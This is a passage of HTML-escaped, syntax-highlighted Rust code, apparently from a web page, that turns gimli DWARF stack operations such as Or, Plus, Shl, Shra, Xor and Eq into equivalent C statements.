&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Neg &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, val, val)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Not &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=~&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, val, val)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Or &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Plus &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::PlusConstant { value } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;ull;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, val, value)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Shl &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Shr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Shra &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=(uint64_t)((int64_t)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;gt;&amp;gt;(int64_t)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;);&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Xor &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
&lt;&#x2F;span&gt;&lt;span&gt;                gimli::Operation::Eq &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; val2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;pop&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; new_val &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; val_generator.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;                    writeln!(w, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;    uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;?1:0;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, new_val, val2, val1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;                    stack.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(new_val);
&lt;&#x2F;span&gt;&lt;span&gt;                }
